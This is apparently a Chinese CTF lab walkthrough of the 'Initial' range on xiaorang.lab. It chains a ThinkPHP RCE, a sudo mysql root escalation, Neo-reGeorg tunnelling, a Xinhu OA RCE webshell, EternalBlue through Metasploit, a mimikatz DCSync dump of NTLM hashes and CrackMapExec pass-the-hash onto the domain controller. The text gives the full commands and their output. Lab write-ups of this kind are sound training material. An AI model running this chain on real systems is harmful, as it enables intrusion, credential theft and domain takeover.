Initial
靶标介绍
Initial是一套难度为简单的靶场环境,完成该挑战可以帮助玩家初步认识内网渗透的简单流程。该靶场只有一个flag,各部分位于不同的机器上。
知识点
- DCSync
- CVE
- 域渗透
外网
ThinkPHP RCE → User Access
访问外网根据网站的图标就发现了是一个thikphp的图标,利用ThinkPHP
工具箱检查梭一下
[+] http://39.99.250.2 的检测结果如下:
=====================================================================
....
[+] 目标存在tp5_construct_code_exec_1漏洞
[-] 目标不存在tp2_lite_code_exec漏洞
[+] 目标存在tp5_construct_code_exec_2漏洞
....
使用蚁剑可以成功连接,可以发现权限还是比较低,现在的任务就是提权。检查特权位发现mysql
可以sudo
无密码使用。
(www-data:/var/www/html) $ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
(www-data:/var/www/html) $ sudo -l
Matching Defaults entries for www-data on ubuntu-web01:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on ubuntu-web01:
(root) NOPASSWD: /usr/bin/mysql
利用-e '\! <commaned>'
执行外部命令,因为是root
权限所以我们直接使用find
看看旗帜在哪并读取。
(www-data:/var/www/html) $ sudo mysql -e '\! find / -name flag*'
...
/root/flag
/root/flag/flag01.txt
...
(www-data:/var/www/html) $ sudo mysql -e '\! cat /root/flag/flag01.txt'
██ ██ ██ ██ ███████ ███████ ██ ████ ██ ████████
░░██ ██ ░██ ████ ██░░░░░██ ░██░░░░██ ████ ░██░██ ░██ ██░░░░░░██
░░██ ██ ░██ ██░░██ ██ ░░██░██ ░██ ██░░██ ░██░░██ ░██ ██ ░░
░░███ ░██ ██ ░░██ ░██ ░██░███████ ██ ░░██ ░██ ░░██ ░██░██
██░██ ░██ ██████████░██ ░██░██░░░██ ██████████░██ ░░██░██░██ █████
██ ░░██ ░██░██░░░░░░██░░██ ██ ░██ ░░██ ░██░░░░░░██░██ ░░████░░██ ░░░░██
██ ░░██░██░██ ░██ ░░███████ ░██ ░░██░██ ░██░██ ░░███ ░░████████
░░ ░░ ░░ ░░ ░░ ░░░░░░░ ░░ ░░ ░░ ░░ ░░ ░░░ ░░░░░░░░
Congratulations!!! You found the first flag, the next flag may be in a server in the internal network.
flag01:
至此获得了第一部分的flag
Get Info
外网拿下后就开始向内网进发了,获取网络信息然后上传fscan
扫描内网。
(www-data:/var/www/html) $ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.22.1.15 netmask 255.255.0.0 broadcast 172.22.255.255
inet6 fe80::216:3eff:fe1a:87a4 prefixlen 64 scopeid 0x20<link>
ether 00:16:3e:1a:87:a4 txqueuelen 1000 (Ethernet)
RX packets 183009 bytes 263426260 (263.4 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 30541 bytes 4724703 (4.7 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
(www-data:/var/www/html) $ ./fscan_amd64 -h 172.22.1.0/24
(www-data:/var/www/html) $ cat result.txt
172.22.1.2:88 open
172.22.1.21:139 open
172.22.1.18:139 open
172.22.1.2:139 open
172.22.1.21:135 open
172.22.1.18:135 open
172.22.1.2:135 open
172.22.1.18:80 open
172.22.1.15:80 open
172.22.1.15:22 open
172.22.1.2:445 open
172.22.1.18:3306 open
172.22.1.21:445 open
172.22.1.18:445 open
[*] NetInfo:
[*]172.22.1.18
[->]XIAORANG-OA01
[->]172.22.1.18
[*] NetInfo:
[*]172.22.1.21
[->]XIAORANG-WIN7
[->]172.22.1.21
[*] NetInfo:
[*]172.22.1.2
[->]DC01
[->]172.22.1.2
[*] WebTitle: http://172.22.1.15 code:200 len:5578 title:Bootstrap Material Admin
[*] NetBios: 172.22.1.2 [+]DC DC01.xiaorang.lab Windows Server 2016 Datacenter 14393
[*] NetBios: 172.22.1.18 XIAORANG-OA01.xiaorang.lab Windows Server 2012 R2 Datacenter 9600
[*] NetBios: 172.22.1.21 XIAORANG-WIN7.xiaorang.lab Windows Server 2008 R2 Enterprise 7601 Service Pack 1
[*] 172.22.1.2 (Windows Server 2016 Datacenter 14393)
[+] 172.22.1.21 MS17-010 (Windows Server 2008 R2 Enterprise 7601 Service Pack 1)
[*] WebTitle: http://172.22.1.18 code:302 len:0 title:None 跳转url: http://172.22.1.18?m=login
[*] WebTitle: http://172.22.1.18?m=login code:200 len:4012 title:信呼协同办公系统
[+] http://172.22.1.15 poc-yaml-thinkphp5023-method-rce poc1
从中可以知道我们的目标:
- 172.22.1.2:DC域控
- 172.22.1.21:Windows的机器并且存在MS17-010 漏洞
- 172.22.1.18:信呼OA办公系统
利用Neo挂上代理就可以开始对内网进行了。
└─# python3 neoreg.py -k [password] -u http://TargetIp/tunnel.php
"$$$$$$'' 'M$ '$$$@m
:$$$$$$$$$$$$$$''$$$$'
'$' 'JZI'$$& $$$$'
'$$$ '$$$$
$$$$ J$$$$'
m$$$$ $$$$,
$$$$@ '$$$$_ Neo-reGeorg
'1t$$$$' '$$$$<
'$$$$$$$$$$' $$$$ version 5.1.0
'@$$$$' $$$$'
'$$$$ '$$$@
'z$$$$$$ @$$$
r$$$ $$|
'$$v c$$
'$$v $$v$$$$$$$$$#
$$x$$$$$$$$$twelve$$$@$'
@$$$@L ' '<@$$$$$$$$`
$$ '$$$
[ Github ] https://github.com/L-codes/Neo-reGeorg
+------------------------------------------------------------------------+
Log Level set to [ERROR]
Starting SOCKS5 server [127.0.0.1:1080]
Tunnel at:
http://TargetIp/tunnel.php
+------------------------------------------------------------------------+
内网
信呼OA
先选择打信呼OA(大概率是nday)使用弱密码admin:admin123
就能进入后台,能发现版本是v2.2.8。
通过对版本RCE的搜索发现可使用的RCE脚本。这里使用脚本时需将1.php
和exp.py
放在同一级目录。
└─$ proxychains4 python3 exp.py
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.22.1.18:80 ... OK
11
/upload/2023-11/14_17244160.php
<br />
<b>Notice</b>: Undefined offset: 1 in <b>C:\phpStudy\PHPTutorial\WWW\upload\2023-11\14_17244160.php</b> on line <b>1</b><br />
执行成功后知道木马文件地址便可以蚁剑代理上线,蚁剑代理地址为Socks代理服务地址。由于shell是window本地最高权限所以不用考虑提权问题,直接获取旗帜就可以了。
C:\Users\Administrator\flag> whoami
nt authority\system
C:\Users\Administrator\flag> dir
驱动器 C 中的卷没有标签。
卷的序列号是 E0D6-4F4A
C:\Users\Administrator\flag 的目录
2022/06/05 21:07 <DIR> .
2022/06/05 21:07 <DIR> ..
2022/06/05 21:08 776 flag02.txt
1 个文件 776 字节
2 个目录 22,495,100,928 可用字节
C:\Users\Administrator\flag> type flag02.txt
___ ___ ___ ________ ________ ________ ________ ________ ________
|\ \ / /|\ \|\ __ \|\ __ \|\ __ \|\ __ \|\ ___ \|\ ____\
\ \ \/ / | \ \ \ \|\ \ \ \|\ \ \ \|\ \ \ \|\ \ \ \\ \ \ \ \___|
\ \ / / \ \ \ \ __ \ \ \\\ \ \ _ _\ \ __ \ \ \\ \ \ \ \ ___
/ \/ \ \ \ \ \ \ \ \ \\\ \ \ \\ \\ \ \ \ \ \ \\ \ \ \ \|\ \
/ /\ \ \ \__\ \__\ \__\ \_______\ \__\\ _\\ \__\ \__\ \__\\ \__\ \_______\
/__/ /\ __\ \|__|\|__|\|__|\|_______|\|__|\|__|\|__|\|__|\|__| \|__|\|_______|
|__|/ \|__|
flag02:
Awesome! ! ! You found the second flag, now you can attack the domain controller.
MS17-010(EternalBlue)
在msf上有所以我们就直接打就可以了,proxychains4
的代理地址依旧是Socks代理服务地址。
proxychains4 msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp_uuid
set RHOSTS 172.22.1.21
exploit
执行完后便可以获得一个正向shell,后面就是利用DCSync进行横移。
meterpreter > load kiwi
meterpreter > kiwi_cmd "lsadump::dcsync /domain:xiaorang.lab /all /csv" exit
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] DLL init: proxychains-ng 4.16
[DC] 'xiaorang.lab' will be the domain
[DC] 'DC01.xiaorang.lab' will be the DC server
[DC] Exporting domain 'xiaorang.lab'
[rpc] Service : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
502 krbtgt fb812eea13a18b7fcdb8e6d67ddc205b 514
1106 Marcus e07510a4284b3c97c8e7dee970918c5c 512
1107 Charles f6a9881cd5ae709abb4ac9ab87f24617 512
500 Administrator [delited] 512
1000 DC01$ d0bca61b156d1822e532c1a35c7a3ba2 532480
1104 XIAORANG-OA01$ 48013789131ab39c802d9b3cf37dc191 4096
1108 XIAORANG-WIN7$ 581cc2296a4807720db29e8b2b245db6 4096
mimikatz(powershell) # exit
Bye!
DC域控
知道了域管理的hash后便利用Crackmapexec进行哈希传递。
└─# proxychains4 crackmapexec smb 172.22.1.2 -u administrator -H [delited] -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.22.1.2:445 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.22.1.2:135 ... OK
SMB 172.22.1.2 445 DC01 [*] Windows Server 2016 Datacenter 14393 x64 (name:DC01) (domain:xiaorang.lab) (signing:True) (SMBv1:True)
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.22.1.2:445 ... OK
SMB 172.22.1.2 445 DC01 [+] xiaorang.lab\administrator:10cf89a850fb1cdbe6bb432b859164c8 (Pwn3d!)
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.22.1.2:135 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.22.1.2:49668 ... OK
SMB 172.22.1.2 445 DC01 [+] Executed command
SMB 172.22.1.2 445 DC01 ___ ___
SMB 172.22.1.2 445 DC01 \\ / / / / // | | // ) ) // ) ) // | | /| / / // ) )
SMB 172.22.1.2 445 DC01 \ / / / //__| | // / / //___/ / //__| | //| / / //
SMB 172.22.1.2 445 DC01 / / / / / ___ | // / / / ___ ( / ___ | // | / / // ____
SMB 172.22.1.2 445 DC01 / /\\ / / // | | // / / // | | // | | // | / / // / /
SMB 172.22.1.2 445 DC01 / / \\ __/ /___ // | | ((___/ / // | | // | | // |/ / ((____/ /
SMB 172.22.1.2 445 DC01
SMB 172.22.1.2 445 DC01
SMB 172.22.1.2 445 DC01 flag03:
SMB 172.22.1.2 445 DC01
SMB 172.22.1.2 445 DC01 Unbelievable! ! You found the last flag, which means you have full control over the entire domain network.